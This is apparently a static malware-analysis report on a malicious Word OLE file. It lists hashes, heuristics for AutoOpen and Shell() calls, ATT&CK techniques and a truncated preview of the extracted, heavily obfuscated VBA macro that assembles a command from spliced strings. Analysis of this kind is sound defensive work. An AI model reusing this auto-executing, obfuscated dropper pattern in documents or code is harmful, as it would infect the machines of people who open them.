Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 353070e4d6c3f42e…

MALICIOUS

Office (OLE)

305.0 KB Created: 2018-02-22 09:47:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: b10d5c68b5293a7c07ca3d5c4d910caa SHA-1: 17e4c4fd0926f07e6767c11e78c1cdc3aa14223f SHA-256: 353070e4d6c3f42e8bc3c2e0379f751c9c0d62d1392e7768fa4f543744c65e16
144 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The critical OLE_VBA_SHELL heuristic indicates the presence of a Shell() call within the VBA code, which is commonly used to execute arbitrary commands or download additional payloads. The AutoOpen macro further suggests automatic execution upon opening the document. The presence of a 'macros.bas' file and the 'Shell()' call strongly suggest the intent to download and execute a second-stage payload.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 49621 bytes
SHA-256: 198e37f3d68ef8cf76b49f6a3ec555f89771b62bbc979c376214323624787deb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 25 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "sjZOHdQ"
Function YBquGIttB()
On Error Resume Next
IAuRumY = "NJqbZWDAnsBURQQ tes&&TsEhsHRChmztWkno"
CIUwwlO = HTLahzcttMmT = odAGGDnNCz - vdZAafQiid * 4142665 + CBool(6019122) - LWONzCMwYfSSEK * Atn(6672717 + ChrB(TbETk) + EYcTOwIowT * 9584491)
MIrKvPFR = vkoZP = mcXzHhVUhdKCQL - jRqldoQ * 8072657 + CBool(6887873) - wUBPwMtMFjH * Atn(1429768 + ChrB(QuztOi) + wCmqOSwnlL * 4206993)
MNIlIS = GYgbjkGKS(IAuRumY, 12, 11)
EmqhjUiqCSk = "jCTIJI&&BpXKYbMjjG=%utmIHEXYtWYCm"
jXZQhnXTiBr = JCFWzsiE = ZKYoJUdrtl - vDUkcKC * 8324872 + CBool(5095724) - CknHmDKwipBI * Atn(355132 + ChrB(tiOBuncpTKU) + hUunpn * 5713186)
owYwwB = WaljWRSuPwJn = krwvB - mJMRdnjVpCqzOi * 2406466 + CBool(2525115) - shicUiaW * Atn(153765 + ChrB(DzdvroqqfKI) + tqvdsY * 9425619)
wpnur = GYgbjkGKS(EmqhjUiqCSk, 14, 14)
scLlG = "KzsJj% tesdzsfAKJlwjGCHz"
JjtNJ = IQVuCOdizEzbJb = bnjDF - qUChiw * 3447976 + CBool(7423757) - JGzYHUDrUGfpQ * Atn(3097903 + ChrB(IdwhJiniJt) + wTMTPLsG * 9133907)
pALZNwNwzGU = dkTjYvOwZPZEb = FAkcIVcnf - YkfBqUzJUjis * 5911405 + CBool(9588546) - mYhkdsrsmNPa * Atn(2951469 + ChrB(ZPqFiLnQNGFSQk) + vMVmrWwvDBzhr * 8662780)
SCYPVw = GYgbjkGKS(scLlG, 15, 5)
zmwss = "OiVBrMhporSYSJWTNuCPpHfSCOP% tes&&p=%1rav% tesTzDraTEofRaj"
chvsHhQ = wBjTIBzm = TaWRbjbYoibrAO - LDEVmwG * 5065960 + CBool(4308547) - ZGpBrrAwX * Atn(1085445 + ChrB(zIQSLJQf) + awnXHE * 9586386)
BKRqTFXk = zzMAzuBdlW = mbtdIzMvnCbmqu - wbTSumt * 4377496 + CBool(9742569) - tPzNOpZnT * Atn(8696651 + ChrB(hUiauJKbYNW) + kwaKTb * 2040290)
EvsttvPu = GYgbjkGKS(zmwss, 13, 19)
JKwvAkiS = "QuzlijjiNENRQGdWjjlSUav% tes&&YDwFquIWrIoWcmdYcG"
VdLPjmjE = mOAGbrYASAwjCw = EMiUJfkar - SSXSiKzj * 5440796 + CBool(5201484) - DvJczaIhKcRz * Atn(4024197 + ChrB(moRYPCnI) + IYBhkqwzaVlA * 3414192)
GPGoCQ = rMFcthqBT = wwViI - YwuHADv * 8577363 + CBool(4591213) - LcrijUUTZLJat * Atn(5228734 + ChrB(HFzjoUPrNwnFKU) + QMEBWNJoTibC * 1803861)
aahGVlRlM = GYgbjkGKS(JKwvAkiS, 14, 14)
mhICDIH = "vAiWwvWXdT%!IpbzCqA"
MuzKlsGjIjX = cIYzatB = dHRKIpu - jsDVVWb * 5948219 + CBool(1311407) - zzZll * Atn(2413272 + ChrB(KnJfZbNaA) + SiXIOcrFwQOr * 1052603)
fOFXCnvuDHI = tqXtDnrVEnz = kiJRq - VlIAiukVifnwIT * 6541978 + CBool(5447295) - jETXMtzakKNs * Atn(1821013 + ChrB(haTVTZsHcIiELi) + fiTHvZ * 2515093)
IBwmbza = GYgbjkGKS(mhICDIH, 8, 2)
vwTzUFRTskU = "sqrjav%!!%8CNtfJPHkDJwuFSimGbGzwuDazj"
HiHpIEwat = wIsDirK = lSumnpa - iZibElfP * 182178 + CBool(7698582) - MYisLLQRKQp * Atn(1403556 + ChrB(VPrUvtS) + afCmBZG * 2131354)
nPazKljwvX = dCqMwoCZib = YQCtSUGot - UHVQlsf * 1241669 + CBool(2004006) - JGhnnRCXbpuM * Atn(3501960 + ChrB(qKdJTjSRRRIuUv) + vWTYpNS * 6690914)
ZGJBV = GYgbjkGKS(vwTzUFRTskU, 27, 7)
RqzRFdnoOIY = "YisDdKc8rav% tes&&re=%3ravHuwtDiZMtTQSVXqmwA"
zXkTdKrTmSv = MELXjmpTMsA = ARTOj - cPinCkbARutH * 2514078 + CBool(9073034) - irODMX * Atn(4993181 + ChrB(jtBVjij) + jlhADGZ * 247614)
jZFFESj = wfVuaEfFrW = ELXPCDzuA - rVhhNVf * 8882575 + CBool(960376) - SNbQsEQGo * Atn(4388995 + ChrB(rHKIUOR) + zJiAMEJnMNizLm * 9810550)
ftNTwzw = GYgbjkGKS(RqzRFdnoOIY, 19, 19)
laHIwwKcv = "WGfFilPMsHiVJLuWDKCtsXMOwhavbRGpiZ"
ITdFLvikFw = wPqCGmAQYimoX = knQLETdUY - QKqzfNaP * 4019486 + CBool(8021886) - DnRoCjSZWTHX * Atn(6239263 + ChrB(UrpQaObqamw) + CkKDXThkhAwWBn * 2092480)
tEYnCb = CwInKPLWkwtbMM = fsGiiOS - opwAUsTPnDfoid * 1760664 + CBool(7238283) - ZoTYZGXUoTdu * Atn(1736633 + ChrB(jjzTzOOqdQ) + GYjXhBjVrIa * 9898987)
iFtHChRIM = GYgbjkGKS(laHIwwKcv, 7, 2)
upoXnAi = "vNjKdEbGuIN=oUhFOsGYHCoP"
jPBIras = HtVEFzh = XFbarkJiDaWbz - rmrHMHwlwiSOp * 7766699 + CBool(9550853) - maPbCJWJFRYFVj * Atn(5039512 + ChrB(MOCiMzka) + mHwIcuUjFnvLY * 8150416)
QcuLqffn = QhCvitPREzB = mPloqpjQBZ - cWEZQ * 8604458 + CBool(5942102) - oXURiu * Atn(7914879 + ChrB(zWqsKaSiRTwFV) + ZjrjaYiTzYZo * 2576
... (truncated)

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